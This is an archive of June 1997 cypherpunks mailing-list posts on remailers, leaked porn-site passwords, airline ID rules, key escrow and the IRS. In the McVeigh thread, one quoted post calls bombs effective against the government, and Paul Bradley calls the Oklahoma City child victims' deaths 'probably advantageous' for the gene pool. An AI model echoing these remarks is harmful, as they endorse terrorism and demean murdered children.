possibly more. However, even command-line Mixmaster remailing is much
simpler than using the Type-I remailers. 

>Currently the nymserver network is in pretty bad shape as well. They are
>difficult to use and are dependant on the whims of the remailer network.

I've been playing with Premail and found it pretty easy to use. As I said
above, reliability is the main problem; particularly when you lose the
entire domain now and again.

	Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 5 Jun 1997 10:09:27 +0800
To: cypherpunks@toad.com
Subject: Re: Password pirates plunder XXX sites, from The Netly News
Message-ID: <199706050200.EAA15007@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



        A huge number of passwords to pay-only porn sites are loose on
   the Net. Just surf newsgroups like alt.sex.passwords or do a simple
   search through a typical web engine and long lists of logins are easy
   to find.

There is an easy solution to this problem.  Just use one-time passwords.
Put it in a cookie.  Every time the customer accesses the service you give
him a new one.  He doesn't have to do anything.  If he gives his password
away it won't work for him any more.

John





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Thu, 5 Jun 1997 16:43:41 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: McVeigh is not the issue!
In-Reply-To: <v0310280bafba6a8c2fcf@[207.167.93.63]>
Message-ID: <3.0.2.32.19970605042555.00712ad0@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 10:44 PM 6/4/97 -0700, Steve Schear wrote:
>>(The airlines claim the FAA is requiring traveller identity. Maybe yes,
>>maybe no.
>
>Traveler ID is not 'required', however if you don't possess a government
>issued ID and/or have paid for your ticket via cash within 48 hours of
>departure expect some delays in your travel and a through search of your
>baggage.

In the Atlanta airport, positive gov't issued picture ID is required to be 
able to board an airplane for Delta, the main carrier, and about the only 
airline I fly.  I have medallion level friends who have been refused the 
ability to board because they did not have picture ID on them.  Stories 
include no travel with temporary, non-picture driver's licenses, having to go 
home to get the license, having a license fedex'ed to the destination city in 
order to board to get home, and reticketing on another airline that will 
accept a company ID.

Cash has nothing to do with it.  Business travel from repeat customers paid by 
American Express and ticketed through corporate travel agencies (American 
Express Travel) still have the ID requirement.  As far as I know, all Atlanta 
airline departures require picture ID, though at least one airline will 
consider a company ID if pressed.

I believe this is a bad policy, and think it should be opposed.  Perhaps a law 
should be considered to change this.  But obviously many people here would 
tell me I could just take another mode of transportation, such as riding the 
bus.  Airlines are private corporations owned by their owners, not by their 
riders.  The airlines apparently have a right (as Delta is doing) of demanding 
any prerequisite they wish for travel.  In the case of Delta, the prerequisite 
is "May I see your papers, please?"

I believe in anonymous travel, just as I believe in anonymous speech, and 
anonymous transactions.  I recently subscribed to this list to help mature my 
views on issues such as collection and verification of electronic database 
information by private and gov't entities.

I'm curious where the people here stand on such a policy.  Do you feel that 
positive ID to fly on a plane should be permissable?  How about a law to put a 
stop to it?


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM5Z4EEGpGhRXg5NZAQFqngH/cFolkgUv2Bx7hGchz1qYTi5wQ4IAASsH
uCQRMEEqxra0ZtqFASBXGJokTwqzb2ueJbxnenPS1BWd6foCqkbOIg==
=kpOc
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Pierson" <wfgodot@iquest.com>
Date: Thu, 5 Jun 1997 20:16:21 +0800
To: cypherpunks@toad.com
Subject: Maneuvering the Instruments of Control Through Deception
Message-ID: <199706051125.GAA07090@vespucci.iquest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Watching the rapid fire succession of Administration rulings 
and gambits, and the developments of various contending legislative
proposals and industry initiatives, along with all the debate over the
differing implications and portents of this distracting plethora of
moves and countermoves, has made for quite an intriguing spectacle. 
In particular, the recent controversies over threatening elements in
the SAFE bill and the motives of the legislators involved, as well as
the contentions concerning Netscape's aims or quality of judgment in
its latest key recovery announcements reminded me of some lines from
R.G.H. Siu's _The Craft of Power_:

  ...There is an increasing need as time goes on for a voluntary
  surrender of freedom on the part of the people at large or at least
  for a relative passivity toward encroachments on it.  An essential
  instrument for bringing this predisposition into being is
  propaganda.  The purpose of your propaganda, then, should not be
  sympathetic education but subtle manipulation. [...] Orthodoxy
  should not comprise your primary objective in propaganda, but what
  Jaques Ellul has called orthopraxy.  This is "an action that in
  itself, and not because of the value judgments of the person who is
  acting, leads directly to a goal, which for the individual is not a
  conscious and intentional objective to be attained, but which is
  considered such by the propagandist."  Knowing the real action to be
  taken in furtherance of the objective behind the informational
  barrage, the propagandist "maneuvers the instrument that will secure
  this action."

I thought Lucky Green keenly observed what might be considered 
an example of this process in action when a while back on the 
Cryptography list he wrote:

> This simply attests to the thoroughness with which the GAK forces
> have managed to frame the debate. There is zero need for key recover
> if the goal is to locally obtain plaintext. However, the vast
> majority of large businesses out there have been convinced that they
> need key recovery to achieve this goal.

> Therefore they are now demanding to be given a specific method for
> achieving this goal, the method most beneficial to outside forces.

> A truly brilliant deception.

It is certainly a sly move, but like other sleights of hand, it 
benefits when a certain naivete is present in its targets.  For 
businesses, there is an additional economic calculus involved that can
sometimes make the deceptions harder to discern, or easier to swallow,
or both to varying degrees.   But for the adamant opponents of GAK,
these subterfuges should not seem so obscure.  It's clear by now that
the core pro-GAK forces have a good appreciation of Sun Tzu's dictum
that "All warfare is based on deception."

There are some other passages from Sun Tzu that seem somewhat 
topical to recent events.

  In all fighting, the direct method may be used for joining battle, 
  but indirect methods will be needed in  order to secure victory.

  Indirect tactics, efficiently applied, are inexhaustible as Heaven
  and Earth, unending as the flow of rivers and streams; like the sun
  and the moon, they end but to begin anew; like the four season's,
  they pass away to return once more.

  ...Thus one who is skillful at keeping the enemy on the move 
  maintains deceitful appearances, according to which the enemy will
  act.  He sacrifices something, that the enemy may snatch at it.

  By holding out baits, he keeps him on the march; then with a body of
  picked men he lies in wait for him.

Of course, the nature of the battlefield and the makeup of the forces
contending are more complicated, subtle, and considerably more
abstracted than the matters that Sun Tzu was concerned with. 
Nevertheless, certain themes remain timeless in warfare both military
and psycho-political.  Documents that EPIC and others have managed to
acquire through FOIA requests show that duplicity has been part of the
game plan on this issue since prior to the Klinton Administration. 
The hardcore surveillance state forces have long subscribed to the
principle that "In war, practice dissimulation, and you will succeed."
 My impression is that they have adhered pretty consistently to that
principle so far.

It seems that some of the internecine controversy of late amongst the
various factions in general opposition to GAK and other forms of
privacy escrow and intrusion, to varying degrees, comes from
disagreements regarding the relative merit or malignancy of differing
political approaches and the motivations of the political actors
involved.  In part, this can depend upon where on the
Anarchist-Minarchist-Benevolent_social_welfare_state spectrum they
come from, and the intensity of their mistrust, or outright hostility,
toward the process and role of government, but numerous other factors
are involved.  Many of these disagreements are valid and will continue
(hopefully, though, not to the point of serving the purposes of the
main adversary).  One could argue that some who might really believe
they are trying to preserve privacy will end up undermining it
instead.  The road to hell can indeed be paved with good intensions,
as well as bad, naive, opportunistic, calculating, or craven...  But
in a broader strategic sense, those paving the road to hell, or what
they are paving it with, can be less important than understanding the
mentality of those who sway its course there, and the means they use
to achieve their ends.  Chief among these means is their use of
deceit.  

Deception and sophistry are time honored tactics of those who want to
build a more intrusive authoritarian state.  The people who have
promoted the kind of "2 + 2 = 5" reasoning that's been used to
rationalize things like "good faith" exceptions to the Fourth
Amendment, or the contemptible mockery of due process represented by
government's abuse of civil forfeiture, are of essentially the same
ilk as those who now expect citizens to accept assurances about
"lawful authorization" and due process when it comes to their
promotion of CALEA and GAK.

The fearmongering exaggerations and misrepresentations that are 
spread by GAK proponents are part of a larger pattern as well.  David
Burnam's excellent 1996 book on the Justice Department _Above The Law_
does a good job of documenting some of this with respect to the
flagrantly misleading representations of national crime statistics by
the FBI and others early in the Clinton administration and before, and
provides some useful perspective on their more recent claims
concerning the need for new electronic surveillance infrastructures
and encryption controls. 

It isn't simply the talent for facile deceit that characterizes 
the effective surveillance state advocate, but also the ability to
maintain a pious pretense (and rarely perhaps even the self-delusion)
of support for privacy and civil liberties while pushing the policies
that undermine these very things.  Senator Kerry's remarks on his
Orwellianly titled "The Secure Public Networks Act" come to mind.

A particularly telling and ironic example of this appears in a 
transcript from the FBI website of a speech given by Director Freeh in
Krakow Poland during June 1994:

  "The Nazi terror began not by breaking the law but by using 
   the law. The morning after the Reichstag fire in February, 
   1933, President Von Hindenburg was persuaded by Hitler to 
   invoke Article 48 of the Weimar Constitution. This emergency 
   provision of the national law was the key to its 
   elimination. It enabled Hitler to suspend individual and 
   civil liberties, freedom of speech, press and assembly; it 
   allowed warrantless searches of homes and the seizure of 
   property without due process of law.

  [...] SS and SA members then started a wave of political violence
  which culminated in a March, 1933, Enabling Act granting dictatorial
   powers to Hitler.

  Hitler's brutal usurpation and exercise of power was in part 
  carried out by clever use of the police and  the corruptly 
  controlled enactment of new laws."

One wonders how Mr. Freeh went about reconciling this knowledge of
history with his role as point man for the Clinton Administration's
attempts to stampede legislation for  new "anti-terrorism" powers
following Oklahoma and last summers TWA explosion/Olympic bombing
episodes.

As Freeh's remarks reveal, the role terrorism has played in 
promoting the agendas of authoritarian statists has been quite 
notable.  Terrorism's major consequences in history appear 
largely to have been to serve the expansion of the domestic powers of
the states targeted, not the furtherance of the agendas of the
terrorists responsible (or allegedly responsible).  In fact, some
states have found terrorism so valuable in this regard that when
terrorists did not exist, it was necessary to invent them (or
facilitate them, or exaggerate their threat).  

The state's concerted cultivation and fanning of fear and hysteria in
relation to acts of terrorism (with the aid of the major mass media)
is a increasingly refined art form.  It's role has become so
significant that it deserves a name.  I call it State Sponsored
Hysterrorism.  While acts or threats of terrorism are the the most
valuable adjunct to the exploitation of hysterrorism; fear mongering
concerning other major bogeymen, most notably the specter of drugs,
pornography and pedophilia, can occasionally be used to achieve the
requisite level of alarmed herd psychology, and the extra
marginalization of reasoned deliberation necessary to serve the ends
of the hysterrorists.

I think the U.S. Government's campaign of hysterrorism following the
TWA explosion/Olympic-Park bombing is a case study for what we can
expect in the future.  The political exploitation of this event was a
contingency plan in waiting for the right bomb to go off somewhere. 
Next time, they will be even more prepared.

There might be a few in the anti-GAK camp who are still inclined to
entertain the notion that the Clinton administration's actions with
regard to GAK and CALEA have been largely due to them being misguided,
or benighted, or gullibly enthralled with apocalyptic scenarios drawn
by secret intelligence reports, and crime threats painted by
latter-day Hoovers.  Perhaps they believe that if the Clintonites
could only be made to understand the futility of attaining their
"professed" objectives, they would be reasonable. But the fact (from
my vantage) is that following the Oklahoma bombing, and even more
egregiously, following the the TWA/Olympic events last summer, this
administration dishonestly promoted and endeavored to exploit public
fear and the political intimidation that could be derived from that
fear in a cynical attempt to stampede the ill-considered passage of
legislation granting sweeping new surveillance powers to the
government.  These attempts to subvert and hot-wire the legislative
process in this regard, as well as the disingenuous shell games they
have played with their succession of Clipper and key escrow/recovery
proposals and initiatives, have cast serious doubt in my mind on the
quality of their principles, misguided or otherwise.  

I view the government's exploitation of occurances of terrorism and
hysterrorism to be the most potent potential threat to privacy and
civil liberties we face.  The stage is now being set by an increasing
drumbeat of warnings, news specials, and so forth about the threat of
more exotic forms of Nuclear, Chemical or Biological attack.  I recall
a melodramatic news piece a while back where a reporter sensationally
demonstrated how easy it was to get a shoebox-sized container filled
with test-tubes on a subway train, and a host of "experts" were
interviewed about the potential pandora's box of nasty possibilities
awaiting us in the years to come.  A few weeks ago, a forum on
terrorism in Atlanta, organized by Former Senator Nunn and attended by
Defense Secretary Cohen and others, brought lurid speculation on
things like the future development of custom engineered viral
pathogens, and warnings about "the Internet transmitting knowledge to
people all over the globe in how to make weapons of mass destruction."
 

One gets the impression like they can't wait until their menacing
forecasts are validated.  The message is that uncontrolled Information
is Threat, and that we're going to need protection from many new forms
of Data Crime in our Fearful New World.  Sadly, considering the public
at-large's current suseptibility to the politics of fear, it probably
wouldn't take much to sell this message.  Major acts of terrorism
aren't the worry of those who most want the institution of intrusive
state powers, it's their secret wish.

The Friend's of Big Brother are holding some strong cards, but many of
them rely on appeals to fear and ignorance.  Their ability to deceive,
mislead, distract, ensnare, market fictions, manage perceptions, and
structure the terms of debates to their advantage can be quite
formidable at times.  It was fortunate that they miscalculated early
on concerning the political repercussions from the persecution of Phil
Zimmermann and the ham-handed Clipper_I proposal.  While they continue
to make tactical errors which can be exploited, they are refining
their approach as time goes on, and their more successful tactics can
be considerably less obvious than their blunders.  Perhaps having
discovered the drawbacks of frontal assaults, one of their new guiding
principles might be "when using our forces, we must seem inactive;
when we are near, we must make the enemy believe we are far away". 

Insidious machinations (stego-politics?) are more challenging to
counter, but like other forms of legerdemain, knowing what to look for
makes the artifice easier to discern and derail, however deftly done. 
- From the surveillance statist's perspective on the public, it is
indeed true that "Ignorance is Strength".  While the "Knowledge is
Power" forces may be outgunned in certain respects, they do have the
advantage of not being hampered by the need to conceal duplicity.

The ultimate solutions to preserving privacy may turn out to be 
technical, but whether one is an avowed cryptoanarchist, or a 
libertarian (!'L') type with mixed minarchist inclinations 
(sort of like me), or whatever, in the near term, developments in the
political arena are far from irrelevant.  The state's most serious
opponents to privacy well understand the value of swaying public
perceptions and attitudes.  Their best hope is to find a way to shape
public and congressional opinion in a way that will allow them to get
restrictions on unconditionally secure encryption passed into law, the
sooner the better.  The longer they can be delayed and stymied, the
less likely they are to succeed.  In any case, we should be careful
not to play into their hands, or provide them with material to
facilitate their efforts to foster fears.  In the words of Sun Tzu,
"the highest form of generalship is to balk the enemy's plans" -- not
to serve them.

In the struggle to defend our privacy, personal sovereignty, and
liberty in general, there will be disagreements over where the enemy
lies, and how to best take aim against it.  Whatever the
disagreements, I hope we can at least manage to avoid standing in a
circle as we fire.


 -Michael

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 5 Jun 1997 22:22:14 +0800
To: cypherpunks@toad.com
Subject: RE: McVeigh? Nimrods.....
In-Reply-To: <Pine.GSO.3.95.970605000244.19883A-100000@cp.pathfinder.com>
Message-ID: <0RoT8D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:

> I was having dinner with Don Haines, a friend of mine who's a legislative
> counsel with the national ACLU, when the McVeigh verdict came down.
>
> A Canadian prosecutor who was having dinner with us said: "So McVeigh did
> it after all."
>
> Don replied: "No. He was found guilty of the crime."
>
> There is a difference.

Not to a journalist whore. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 5 Jun 1997 22:20:31 +0800
To: cypherpunks@toad.com
Subject: Re: Spam costs and questions
In-Reply-To: <v03007831afbc01089cdb@[207.94.249.152]>
Message-ID: <2VoT8D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz <frantz@netcom.com> writes:

> At 12:45 PM -0700 6/4/97, Declan McCullagh asked:
> >	What are the costs to consumers of
> >	unsolicited e-mail?  I guess the time it
> >	takes to delete it might be one, hard
> >	drive space might be another.  I would
> >	like to know how to quantify it, and
> >	compare it with the cost of sending
> >	e-mail.
>
> I don't think the costs of the 1-3 spam messages I get each day is
> significant.  (But I don't post to Usenet.)

I post moderately heavily to Usenet (10-10 articles / week).

All the UCE I get is much less in volume that, e.g., the traffic from
the Cypherpunks mailing list. In some weeks it's only 1 or 2 pieces.

I may be getting so little UCE because I've asked Wallace to remove
me from his mailing list, so I only get it from "rogue rogues".

It takes me no material time to browse the subject lines and to skip
the UCE. (Sometimes I do read the UCE - some of the products they've
advertised sounded interesting to me). Nor am I paying to receive
anything. (Given that I get mailbombed pretty regularly, I wouldn't
go for anything other than flat rate.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 5 Jun 1997 22:25:54 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh? Nimrods.....
In-Reply-To: <19970605010358.20968@bywater.songbird.com>
Message-ID: <m8oT8D10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:
...
> Clinton has a *very* successful career as a politician, and has done
> a great deal for Intel, in that role.  And he is a great family man
> who also gets along well with a host of people.
...
LOL.  Almost ROTFL.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 5 Jun 1997 22:22:44 +0800
To: cypherpunks@toad.com
Subject: Re: Password pirates plunder XXX sites, from The Netly News
In-Reply-To: <199706050200.EAA15007@basement.replay.com>
Message-ID: <v0302094aafbc5cbcc825@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:00 pm -0400 on 6/4/97, Anonymous wrote:

> There is an easy solution to this problem.  Just use one-time passwords.
> Put it in a cookie.  Every time the customer accesses the service you give
> him a new one.  He doesn't have to do anything.  If he gives his password
> away it won't work for him any more.

And, of course, the penultimate solution to the *whole* problem is cash
payment for every video feed. :-).

In addition, if the government was out of the copyright/patent
monopoly-granting business (for some reason ;-)), you could even
re-distribute these things with recursive auctions. The person who has
posession of a whole MPEG file copy then has more incentive to just resell
his copy, again for cash, and probably for multiple times, than to give it
away and not get even some of his money back.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 5 Jun 1997 21:55:43 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Government money, Net picketing, and public fora (fwd)
Message-ID: <199706051315.IAA05428@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Thu, 5 Jun 1997 00:27:04 -0400 (EDT)
> From: Declan McCullagh <declan@pathfinder.com>
> Subject: Government money, Net picketing, and public fora

> Unfortunately, Jim has no idea what he's talking about. Accepting public
> money does not magically turn something into a public forum. 
> 
> I'm not sure how I can get this idea through.


Unfortunately, Declan has no idea what he's talking about. Accepting public
money does increase the criminal and civil obligations of the recipient as
well as providing a lever for 3rd parties to become involved on civil
grounds.

I'm not sure how I can get this idea through.


   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 5 Jun 1997 23:58:41 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: RE: McVeigh? Nimrods.....
In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
Message-ID: <v0300783bafbc879a4e96@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:50 PM -0700 6/4/97, Paul Bradley wrote:
>> Like my fellow Santa Clara County Resident Bill Frantz said :
>>
>> For cypherpunks this comes down to: Make code, not bombs.
>
>True, code will lead to further liberation in the virtual communities,
>but bombs are an effective device for ending the corrupt tyrannical
>government that rules us.

It is my contention that, in the present circumstances, bombs are not
effective devices for ending the corrupt tyrannical government which rules
us.  They are much more likely to make enemies for "our cause" than they
are to physically stop the government.  Does the phrase, "Bomb throwing
anarchist" give you the feeling of hero, or of villain?  Most people will
answer villain, and killing people is not likely to change their minds.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 21:43:41 +0800
To: cypherpunks@Algebra.COM
Subject: To ID or Not to ID that is the question
Message-ID: <199706051338.IAA01329@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <3.0.2.32.19970605042555.00712ad0@mail.atl.bellsouth.net>, on 06/05/97 
   at 04:25 AM, "Robert A. Costner" <pooh@efga.org> said:

>I'm curious where the people here stand on such a policy.  Do you feel
>that  positive ID to fly on a plane should be permissable?  How about a
>law to put a  stop to it?

The answer to bad laws is not more laws.

There are two separate issues here and it is important to separate the
two:

1) Government mandated ID requirements for Airline Travel.

This is truly evil. It violates several protected rights under the
constitution and is just plain un-american. Who I am and where I go and
how I get there is non of their dam business.

2) Individual Airlines requiring ID as part of there security protocols.

This I have no problems with as it is there planes and they may adopt
whatever security policies they wish. If Delta wishes to require full body
cavity searches before boarding their planes more power to them. No one is
forcing you to fly with them.

There are many things that are forbiden for the Federal Governmnet to do
that are acceptable for individual companies. This is a good example of
just that.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Charset: cp850
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UTe/8gN+Iv534YheHFoabr3MlIvaeGFyiRJTnaKwX3UG/26v3RuoWA6k1Apzz8fC
i78iHAvg7sc=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 21:54:20 +0800
To: cypherpunks@Algebra.COM
Subject: My messages & CC: 's
Message-ID: <199706051344.IAA01411@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi,

For those of you that may be responding to some of my post you should be
aware that the To: & Cc: lines are being modified. This is being done by
my PGP auto-encrypt scripts. A complete distributution list is provided in
the header of the message on the X-Distributution: line.

This is just to make you aware that even though your address is the only
one in the To: or Cc: lines the message may have been distributed to
others including to one of the cypherpunks list.

Please check the X-Distribution: line before assuming that it is a private
correspondence.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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T0miyjDAZ8qgA0QcjoTdt+JcJLexG76wdj5GR3XWdYtX24RyqUD3CNHPTnTufQmN
fIebZOt+WcewQggB31jm5L+Vp7BiJfdzUuW90XVzM5yGSFjF91Rg/9KXFpe/a8Xv
nCy/dTYQ0l8=
=j3lG
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 5 Jun 1997 23:55:56 +0800
To: cypherpunks@toad.com
Subject: Re: IRS Hit
In-Reply-To: <1.5.4.32.19970605134956.008db240@pop.pipeline.com>
Message-ID: <v0300783dafbc8e6eea47@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:49 AM -0700 6/5/97, John Young wrote:
>5 June 1997, NYP:
>
>A federal judge in Denver has awarded $250,000 in punitive
>damages to a woman whose family business was raided by armed
>Internal Revenue Service agents four weeks after the woman
>insulted an IRS agent.
>
>...
>
>Full story at:
>
>   http://jya.com/irshit.htm

A drop in the bucket for the IRS.  Now if the agent personally had to pay,
there might be some deterent value.  (I note that a 1983 case still has not
been payed.)


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 22:54:19 +0800
To: cypherpunks@toad.com
Subject: Re: IRS Hit
Message-ID: <199706051429.JAA02097@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <1.5.4.32.19970605134956.008db240@pop.pipeline.com>, on 06/05/97 
   at 08:49 AM, John Young <jya@pipeline.com> said:

>In a harshly worded 17-page opinion, Judge William Downes of  the U.S.
>District Court in Denver found that one of the IRS  agents, James Dolan,
>was "grossly negligent" and acted with  "reckless disregard" for the law,
>and that he made three false  statements in a sworn declaration.

So why is James Dolan still working for the IRS?

Why is he not under enditement for perjury?

Oh I forgot Federal Agents are "just a group of humans" so I guess we
shouldn't expect the laws of the land to apply to them.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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=Vx80
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 5 Jun 1997 18:52:07 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: McVeigh? Nimrods.....
In-Reply-To: <19970604173133.51738@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970605093037.1274B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> > Some on this list will even 
> > say that the kids' deaths fortunately 
> > reduced the negative impact their parents can have on the gene pool.
> 
> Yes, some pathetic strange little boys swaggering around in never-never 
> land.  Lonely individuals with shriveled hearts, stunted morals, and 
> feverish imaginations, who brag contemptuously of their superiority
> over "sheeple", and boast of their heroic roles in the coming 
> revolution.

Very poetic, forgive me if I fail to see the point.

> And thank you, Lucky, for enlightening me -- it isn't the OKC bomber
> who is the criminal, it's the people who put their children in the
> daycare center!  There's only one punishment suitable for such 
> "criminally stupid" behavior!  Lock and Load!

Now this to me is an ideal example of the sort of twisting of other 
peoples points that is typical of Kents dialogue.

Lucky actually said that the parents were stupid putting their children 
in that daycare centre. They were, the parents have no-one to blame but 
themselves for the fact that their children were unnecessarily placed at 
risk. however, this neither makes the parents guilty of any crime nor 
does it absolve McVeigh, or whoever did it, from blame.

Lucky was right, the removal of those children from the gene pool was 
probably advantageous, that does not make it right, simply a judgement 
after the fact.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Donald E. Eastlake 3rd" <dee@cybercash.com>
Date: Thu, 5 Jun 1997 22:25:22 +0800
To: cypherpunks@toad.com
Subject: Re: Password pirates plunder XXX sites, from The Netly News
In-Reply-To: <v03020925afbbe739dc7f@[139.167.130.246]>
Message-ID: <Pine.SUN.3.91.970605093823.6541K-100000@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



Although you can never completely eliminate it, technological fixes to do 
velocity checking, source IP address profiling, etc., seem so obvious I 
just don't see how this can be any sort of insurmountable problem...

It should have been obvious from the start that you would have a lot more 
people trying to steal service from a porn site than from, say, a Disney 
site.

Donald

On Wed, 4 Jun 1997, Robert Hettinga wrote: 

> Date: Wed, 4 Jun 1997 23:47:10 -0400
> From: Robert Hettinga <rah@shipwright.com>
> To: dcsb@ai.mit.edu
> Subject: Password pirates plunder XXX sites, from The Netly News
> 
> --- begin forwarded text
> 
> Date: Wed, 4 Jun 1997 12:01:22 -0700 (PDT)
> From: Declan McCullagh <declan@well.com>
> To: cypherpunks@toad.com
> Subject: Password pirates plunder XXX sites, from The Netly News
> MIME-Version: 1.0
> Sender: owner-cypherpunks@cyberpass.net
> Precedence: bulk
> Reply-To: Declan McCullagh <declan@well.com>
> X-Loop: cypherpunks@cyberpass.net
> 
> [We include links to sites with porn passwords in today's story, BTW.
> --Declan]
> 
> *******
> 
> http://cgi.pathfinder.com/netly/opinion/0,1042,1015,00.html
> 
> The Netly News Network (http://netlynews.com/)
> June 4, 1997
> 
> Porn Free
> by Chris Stamper and Greg Lindsay (thenetlynews@pathfinder.com)
> 
>         Sexfilms.com used to be a small, members-only adult site
>    that shipped full-frame videos over a super-fast T-3 line. Traffic on
>    the site was comfortably low for about a year, owner Ray Alba says,
>    until one name -- "Joe Camaro" -- started appearing with some
>    frequency. Actually, it started appearing 500 times a minute. From
>    Sweden, Japan, Hong Kong, Singapore -- just about anywhere. Somebody
>    was passing out the password.
> 
>         Download speeds faltered, from 300K/sec to 6K/sec. And then the
>    servers themselves began to crash. Finally, Alba had to shut down the
>    site for several weeks to clear out Camaro and numerous other accounts
